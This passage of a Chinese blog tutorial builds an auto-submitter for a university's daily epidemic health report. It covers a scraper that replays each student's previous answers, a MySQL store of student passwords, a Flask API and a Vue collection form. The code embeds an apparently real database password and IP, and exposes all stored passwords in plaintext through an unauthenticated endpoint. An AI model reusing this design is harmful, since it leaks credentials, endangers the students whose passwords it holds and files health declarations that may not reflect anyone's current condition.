string">'http://yiqing.ctgu.edu.cn/wx/index/main.do?currSchool=ctgu&amp;CURRENT_YEAR=2019&amp;showWjdc=false&amp;studentShowWjdc=false'</span><span class="token punctuation">,</span>    <span class="token comment"># 'Upgrade-Insecure-Requests': '1',</span>    <span class="token string">'User-Agent'</span><span class="token punctuation">:</span> <span class="token string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36'</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token comment"># 获取服务器端 JSESSIONID</span>session <span class="token operator">=</span> requests<span class="token punctuation">.</span>Session<span class="token punctuation">(</span><span class="token punctuation">)</span>session_url <span class="token operator">=</span> <span class="token string">'http://yiqing.ctgu.edu.cn/wx/health/main.do'</span>response_session <span class="token operator">=</span> session<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token operator">=</span>session_url<span class="token punctuation">,</span> headers<span class="token operator">=</span>headers<span class="token punctuation">,</span> allow_redirects<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span><span class="token comment"># post data</span>data <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'username'</span><span class="token punctuation">:</span> username<span class="token punctuation">,</span>    <span class="token string">'password'</span><span class="token punctuation">:</span> password<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token comment"># 模拟登录请求，进行 JSESSIONID 账号配对</span>login_url <span class="token operator">=</span> <span class="token string">'http://yiqing.ctgu.edu.cn/wx/index/loginSubmit.do'</span>response_data <span class="token operator">=</span> session<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">=</span>login_url<span class="token punctuation">,</span> data<span class="token operator">=</span>data<span class="token punctuation">)</span><span class="token punctuation">.</span>text<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'登录状态: '</span> <span class="token operator">+</span> response_data<span class="token punctuation">)</span></code></pre><p>登录成功返回success，失败返回false。后续我们可以通过该接口返回值对有效用户进行筛选。接下来我们利用该session请求提交页面拿到隐藏的token</p><p><img src="https://img.alexation.cn/blog/post/project/Yiqing/3.png" alt=""></p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># Get token</span>apply_url <span class="token operator">=</span> <span class="token string">'http://yiqing.ctgu.edu.cn/wx/health/toApply.do'</span>apply_response <span class="token operator">=</span> session<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token operator">=</span>apply_url<span class="token punctuation">)</span><span class="token punctuation">.</span>text<span class="token comment"># 判断是否已提交请求，如果已经提交的话服务器便不再响应</span><span class="token keyword">if</span> re<span class="token punctuation">.</span>findall<span class="token punctuation">(</span><span class="token string">'&lt;input type="hidden" name="ttoken" value="(.*?)"/>'</span><span class="token punctuation">,</span> apply_response<span class="token punctuation">)</span><span class="token punctuation">:</span>token <span class="token operator">=</span> re<span class="token punctuation">.</span>findall<span class="token punctuation">(</span><span class="token string">'&lt;input type="hidden" name="ttoken" value="(.*?)"/>'</span><span class="token punctuation">,</span> apply_response<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token comment"># 获取上一次提交数据进行构造请求</span>before_url <span class="token operator">=</span> <span class="token string">'http://yiqing.ctgu.edu.cn/wx/health/studentHis.do'</span>before_data <span class="token operator">=</span> session<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">=</span>before_url<span class="token punctuation">,</span> data<span class="token operator">=</span>data<span class="token punctuation">)</span><span class="token punctuation">.</span>textbefore_data_json <span class="token operator">=</span> json<span class="token punctuation">.</span>loads<span class="token punctuation">(</span>before_data<span class="token punctuation">)</span><span class="token comment"># 构造提交参数</span>data_submit <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">'ttoken'</span><span class="token punctuation">:</span> token<span class="token punctuation">,</span><span class="token string">'province'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'province'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'city'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'city'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'district'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'district'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'adcode'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'adcode'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'longitude'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'longitude'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'latitude'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'latitude'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sfqz'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sfqz'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sfys'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sfys'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sfzy'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sfzy'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sfgl'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sfgl'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'status'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'status'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'szdz'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'szdz'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sjh'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sjh'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'lxrxm'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'lxrxm'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'lxrsjh'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'lxrsjh'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sffr'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sffr'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sffrAm'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sffrAm'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sffrNoon'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sffrNoon'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sffrPm'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sffrPm'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sffy'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sffy'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sfgr'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sfgr'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'qzglsj'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'qzglsj'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'qzgldd'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'qzgldd'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'glyy'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'glyy'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'mqzz'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'mqzz'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'sffx'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'sffx'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">'qt'</span><span class="token punctuation">:</span> before_data_json<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'qt'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span></code></pre><p>找到最后提交的URL进行请求即可</p><p><img src="https://img.alexation.cn/blog/post/project/Yiqing/4.png" alt=""></p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># Final Submit API</span>url <span class="token operator">=</span> <span class="token string">'http://yiqing.ctgu.edu.cn/wx/health/saveApply.do'</span>submit <span class="token operator">=</span> session<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">=</span>url<span class="token punctuation">,</span> data<span class="token operator">=</span>data_submit<span class="token punctuation">)</span><span class="token punctuation">.</span>textsubmit_json <span class="token operator">=</span> json<span class="token punctuation">.</span>loads<span class="token punctuation">(</span>submit<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'提交状态：'</span> <span class="token operator">+</span> submit_json<span class="token punctuation">[</span><span class="token string">'msgStatus'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></code></pre><h3 id="对接MySQL数据库">对接MySQL数据库</h3><p>利用pymysql库将数据库信息拉到本地遍历请求即可</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">try</span><span class="token punctuation">:</span>    <span class="token comment"># Connect MySQL</span>    connection <span class="token operator">=</span> pymysql<span class="token punctuation">.</span>connect<span class="token punctuation">(</span>host<span class="token operator">=</span><span class="token string">'IP地址'</span><span class="token punctuation">,</span> user<span class="token operator">=</span><span class="token string">'数据库用户'</span><span class="token punctuation">,</span> passwd<span class="token operator">=</span><span class="token string">'数据库密码'</span><span class="token punctuation">,</span> port<span class="token operator">=</span><span class="token number">3306</span><span class="token punctuation">,</span> db<span class="token operator">=</span><span class="token string">'数据库名称'</span><span class="token punctuation">,</span> charset<span class="token operator">=</span><span class="token string">'utf8'</span><span class="token punctuation">)</span>    cursor <span class="token operator">=</span> connection<span class="token punctuation">.</span>cursor<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token comment"># Get user and password</span>    cursor<span class="token punctuation">.</span>execute<span class="token punctuation">(</span><span class="token string">'select * from yiqing'</span><span class="token punctuation">)</span>        <span class="token comment"># 收集所有用户信息</span>    user_information <span class="token operator">=</span> cursor<span class="token punctuation">.</span>fetchall<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token comment"># Disconnect MySQL</span>    connection<span class="token punctuation">.</span>commit<span class="token punctuation">(</span><span class="token punctuation">)</span>    cursor<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>    connection<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">except</span><span class="token punctuation">:</span>    ErrorLog<span class="token punctuation">(</span><span class="token string">'Error---MySQL'</span><span class="token punctuation">)</span></code></pre><h2 id="后端提供API接口">后端提供API接口</h2><h3 id="利用Flask搭建接口">利用Flask搭建接口</h3><p>Flask本身不限定数据库的选择，你可以选择SQL或NOSQL的任何一种。也可以选择更方便的SQLALchemy，类似于Django的ORM。SQLALchemy实际上是对数据库的抽象，让开发者不用直接和SQL语句打交道，而是通过Python对象来操作数据库，在舍弃一些性能开销的同时，换来的是开发效率的较大提升。</p><p>SQLAlchemy是一个关系型数据库框架，它提供了高层的ORM和底层的原生数据库的操作。<a href="https://flask-sqlalchemy.palletsprojects.com/en/master/quickstart/">Flask-SQLAlchemy</a>是一个简化了SQLAlchemy操作的flask扩展。</p><p>新建api.py文件</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> flask <span class="token keyword">import</span> Flask<span class="token punctuation">,</span> render_template<span class="token keyword">from</span> flask_sqlalchemy <span class="token keyword">import</span> SQLAlchemyapp <span class="token operator">=</span> Flask<span class="token punctuation">(</span>__name__<span class="token punctuation">,</span> static_url_path<span class="token operator">=</span><span class="token string">'/'</span><span class="token punctuation">,</span> static_folder<span class="token operator">=</span><span class="token string">'./../../flask-dist'</span><span class="token punctuation">,</span> template_folder<span class="token operator">=</span><span class="token string">'./../../flask-dist'</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span>config<span class="token punctuation">[</span><span class="token string">'SQLALCHEMY_DATABASE_URI'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'mysql+pymysql://name:pwd@106.13.174.205:3306/mls_web'</span><span class="token comment"># mysql+pymysql 这是声明数据库和链接数据库的引擎  </span><span class="token comment"># name pwd 就是可以访问数据库的用户名密码 </span><span class="token comment"># 106.13.174.205:3306 是数据库地址 </span><span class="token comment"># /mls_web 这是数据库名字</span>app<span class="token punctuation">.</span>config<span class="token punctuation">[</span><span class="token string">'SQLALCHEMY_TRACK_MODIFICATIONS'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">True</span>   如果设置成 <span class="token boolean">True</span> <span class="token punctuation">(</span>默认情况<span class="token punctuation">)</span>，Flask<span class="token operator">-</span>SQLAlchemy 将会追踪对象的修改并且发送信号。这需要额外的内存， 如果不必要的可以禁用它。 db <span class="token operator">=</span> SQLAlchemy<span class="token punctuation">(</span>app<span class="token punctuation">)</span>声明数据对象<span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">index</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">return</span> render_template<span class="token punctuation">(</span><span class="token string">'index.html'</span><span class="token punctuation">)</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>    app<span class="token punctuation">.</span>run<span class="token punctuation">(</span>debug<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span></code></pre><p>安装包</p><pre class="language-bash" data-language="bash"><code class="language-bash">pip <span class="token function">install</span> sqlacodegen</code></pre><p>cmd 切换到 flask目录 执行</p><pre class="language-bash" data-language="bash"><code class="language-bash">sqlacodegen --outfile<span class="token operator">=</span>models.py mysql+pymysql://name:pwd@106.13.174.205:3306/mls_web</code></pre><p>生成一个models.py文件 user表的映射，在该文件中，如果需要json格式传递，在class中添加如下代码</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">def</span> <span class="token function">to_json</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>       <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>           <span class="token string">'id'</span><span class="token punctuation">:</span> self<span class="token punctuation">.</span><span class="token builtin">id</span><span class="token punctuation">,</span>           <span class="token string">'name'</span><span class="token punctuation">:</span> self<span class="token punctuation">.</span>name<span class="token punctuation">,</span>           <span class="token string">'pwd'</span><span class="token punctuation">:</span> self<span class="token punctuation">.</span>pwd       <span class="token punctuation">&#125;</span></code></pre><p>将model.py引入api.py中</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> flask <span class="token keyword">import</span> Flask<span class="token punctuation">,</span> render_template<span class="token punctuation">,</span> jsonify<span class="token punctuation">,</span> request<span class="token keyword">from</span> flask_sqlalchemy <span class="token keyword">import</span> SQLAlchemy<span class="token keyword">from</span> models <span class="token keyword">import</span> <span class="token operator">*</span>app <span class="token operator">=</span> Flask<span class="token punctuation">(</span>__name__<span class="token punctuation">,</span> static_url_path<span class="token operator">=</span><span class="token string">'/'</span><span class="token punctuation">,</span> static_folder<span class="token operator">=</span><span class="token string">'./../../flask-dist'</span><span class="token punctuation">,</span> template_folder<span class="token operator">=</span><span class="token string">'./../../flask-dist'</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span>config<span class="token punctuation">[</span><span class="token string">'SQLALCHEMY_DATABASE_URI'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'mysql+pymysql://mls:a838502774@106.13.174.205:3306/mls_web'</span>app<span class="token punctuation">.</span>config<span class="token punctuation">[</span><span class="token string">'SQLALCHEMY_TRACK_MODIFICATIONS'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">True</span>app<span class="token punctuation">.</span>config<span class="token punctuation">[</span><span class="token string">'SQLALCHEMY_UCSO'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">True</span>db <span class="token operator">=</span> SQLAlchemy<span class="token punctuation">(</span>app<span class="token punctuation">)</span><span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">index</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">return</span> render_template<span class="token punctuation">(</span><span class="token string">'index.html'</span><span class="token punctuation">)</span><span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">'/getUser'</span><span class="token punctuation">,</span> methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">'GET'</span><span class="token punctuation">,</span> <span class="token string">'POST'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>   <span class="token comment"># 查询数据的接口</span><span class="token keyword">def</span> <span class="token function">get_user</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    res <span class="token operator">=</span> db<span class="token punctuation">.</span>session<span class="token punctuation">.</span>query<span class="token punctuation">(</span>User<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token builtin">all</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment">#User是从models里导入的 </span>    temp <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>    <span class="token keyword">for</span> x <span class="token keyword">in</span> res<span class="token punctuation">:</span>        temp<span class="token punctuation">.</span>append<span class="token punctuation">(</span>x<span class="token punctuation">.</span>to_json<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> jsonify<span class="token punctuation">(</span>data<span class="token operator">=</span>temp<span class="token punctuation">)</span><span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">'/addUser'</span><span class="token punctuation">,</span> methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">'POST'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>      <span class="token comment">#新增数据的接口</span><span class="token keyword">def</span> <span class="token function">add_user</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    data <span class="token operator">=</span> request<span class="token punctuation">.</span>json        <span class="token comment">#获取传过来的参数</span>    u <span class="token operator">=</span> User<span class="token punctuation">(</span>name<span class="token operator">=</span>data<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>pwd<span class="token operator">=</span>data<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"pwd"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>      <span class="token comment">#根据传过来参数创建一条数据</span>    db<span class="token punctuation">.</span>session<span class="token punctuation">.</span>add<span class="token punctuation">(</span>u<span class="token punctuation">)</span>  <span class="token comment">#add 是增加数据</span>    db<span class="token punctuation">.</span>session<span class="token punctuation">.</span>commit<span class="token punctuation">(</span><span class="token punctuation">)</span>   <span class="token comment">#提交了才会到数据库中</span>    <span class="token keyword">return</span> <span class="token string">'success'</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>    app<span class="token punctuation">.</span>run<span class="token punctuation">(</span>debug<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span></code></pre><h3 id="Flask解决跨域问题">Flask解决跨域问题</h3><pre class="language-bash" data-language="bash"><code class="language-bash">pip <span class="token function">install</span> flask-cors</code></pre><p>flask-cors 有两种用法，一种为全局使用，一种对指定的路由使用</p><p>配置全局路由</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> flask <span class="token keyword">import</span> Flask<span class="token punctuation">,</span> request<span class="token keyword">from</span> flask_cors <span class="token keyword">import</span> CORSapp <span class="token operator">=</span> Flask<span class="token punctuation">(</span>__name__<span class="token punctuation">)</span>CORS<span class="token punctuation">(</span>app<span class="token punctuation">,</span> supports_credentials<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span></code></pre><p>配置单行路由</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> flask <span class="token keyword">import</span> Flask<span class="token punctuation">,</span> request<span class="token keyword">from</span> flask_cors <span class="token keyword">import</span> cross_originapp <span class="token operator">=</span> Flask<span class="token punctuation">(</span>__name__<span class="token punctuation">)</span><span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">)</span><span class="token decorator annotation punctuation">@cross_origin</span><span class="token punctuation">(</span>supports_credentials<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">hello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    name <span class="token operator">=</span> request<span class="token punctuation">.</span>args<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"name"</span><span class="token punctuation">,</span> <span class="token string">"World"</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> <span class="token string-interpolation"><span class="token string">f'Hello, </span><span class="token interpolation"><span class="token punctuation">&#123;</span>name<span class="token punctuation">&#125;</span></span><span class="token string">!'</span></span></code></pre><h3 id="服务器后台挂起">服务器后台挂起</h3><p>到这里接口已经可以正常访问了，但是当程序退出时无法访问，这里我使用gunicorn将flask挂起到后台</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 安装最新版本的gunicorn</span>pip <span class="token function">install</span> gunicorn<span class="token comment">#安装指定版本的gunicorn</span>pip <span class="token function">install</span> <span class="token assign-left variable">gunicorn</span><span class="token operator">==</span><span class="token number">19.9</span>.0<span class="token comment">#异步模式</span>pip <span class="token function">install</span> <span class="token assign-left variable">gevent</span><span class="token operator">==</span><span class="token number">1.4</span>.0</code></pre><p>定义常用的配置文件</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment">#!usr/bin/env python</span><span class="token comment">#encoding:utf-8</span>  <span class="token keyword">import</span> os<span class="token keyword">import</span> gevent<span class="token punctuation">.</span>monkeygevent<span class="token punctuation">.</span>monkey<span class="token punctuation">.</span>patch_all<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">import</span> multiprocessing  <span class="token comment">#开发环境可以打开，生产环境可以</span><span class="token comment">#debug = True  </span> <span class="token comment">#用于控制errorlog的信息级别，可以设置为debug、info、warning、error、critical</span>loglevel <span class="token operator">=</span> <span class="token string">'debug'</span> <span class="token comment">#监听地址+端口</span>bind <span class="token operator">=</span> <span class="token string">"0.0.0.0:5000"</span> <span class="token comment">#定义日志存储</span><span class="token keyword">if</span> <span class="token keyword">not</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>exists<span class="token punctuation">(</span><span class="token string">'log/'</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    os<span class="token punctuation">.</span>makedirs<span class="token punctuation">(</span><span class="token string">'log/'</span><span class="token punctuation">)</span>pidfile <span class="token operator">=</span> <span class="token string">"log/gunicorn.pid"</span><span class="token comment">#访问日志</span>accesslog <span class="token operator">=</span> <span class="token string">"log/access.log"</span><span class="token comment">#错误日志</span>errorlog <span class="token operator">=</span> <span class="token string">"log/debug.log"</span> <span class="token comment">#开启后台运行，默认值为False</span>daemon <span class="token operator">=</span> <span class="token boolean">True</span> <span class="token comment">#启动的进程数，推荐值为：CPU核数*2+1</span>workers <span class="token operator">=</span> multiprocessing<span class="token punctuation">.</span>cpu_count<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token number">2</span><span class="token operator">+</span><span class="token number">1</span> <span class="token comment">#指开启的每个工作进程的模式类型，默认为sync模式，也可使用gevent模式</span>worker_class <span class="token operator">=</span> <span class="token string">'gevent'</span>x_forwarded_for_header <span class="token operator">=</span> <span class="token string">'X-FORWARDED-FOR'</span></code></pre><p>启动方式</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 第一种</span>gunicorn -w <span class="token number">4</span> -b <span class="token number">172.19</span>.6.213:5000 api:app<span class="token comment"># 第二种</span>gunicorn --config<span class="token operator">=</span>config.py api:app</code></pre><p>如果出现占用情况，可先查看pid然后关停即可</p><pre class="language-none"><code class="language-none">netstat -tulpn</code></pre><p>4096即为占位端口的pid</p><pre class="language-none"><code class="language-none">kill -9 4096</code></pre><h2 id="前端用户信息收集">前端用户信息收集</h2><p>因为仅仅是收集用户的学号和密码，故不需要router以及vuex等组件，也不需要对axios进行二次封装，所以这里我采用ElementUI的一个表单组件。再通过对样式进行微调，为了放置页面过于单调，为其添加一个SVG的动态背景。</p><p>本地调试的时候由于可以通过后端解决跨域问题，便不再对vue.config.js进行更改，不过需要注意的是要在里面更改页面title</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// vue.config.js</span>module<span class="token punctuation">.</span>exports <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  <span class="token comment">//关闭es6</span>  lintOnSave<span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>  <span class="token function-variable function">chainWebpack</span><span class="token operator">:</span> <span class="token parameter">config</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    config      <span class="token punctuation">.</span><span class="token function">plugin</span><span class="token punctuation">(</span><span class="token string">'html'</span><span class="token punctuation">)</span>      <span class="token punctuation">.</span><span class="token function">tap</span><span class="token punctuation">(</span><span class="token parameter">args</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>        args<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>title<span class="token operator">=</span><span class="token string">'CTGU自动安全上报'</span>        <span class="token keyword">return</span> args      <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>关于ElementUI的按需引入需要在babel.config.js文件里添加配置，包括message也要挂载到vue原型上，这些<a href="https://element.eleme.io/#/zh-CN/component/quickstart">ElementUI官方文档</a>都有的。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// babel.config.js</span>module<span class="token punctuation">.</span>exports <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  presets<span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">'@vue/cli-plugin-babel/preset'</span><span class="token punctuation">,</span><span class="token punctuation">[</span><span class="token string">"@babel/preset-env"</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token string">"modules"</span><span class="token operator">:</span> <span class="token boolean">false</span> <span class="token punctuation">&#125;</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">,</span>  plugins<span class="token operator">:</span> <span class="token punctuation">[</span>    <span class="token punctuation">[</span>      <span class="token string">"component"</span><span class="token punctuation">,</span>      <span class="token punctuation">&#123;</span>        <span class="token string">"libraryName"</span><span class="token operator">:</span> <span class="token string">"element-ui"</span><span class="token punctuation">,</span>        <span class="token string">"styleLibraryName"</span><span class="token operator">:</span> <span class="token string">"theme-chalk"</span>      <span 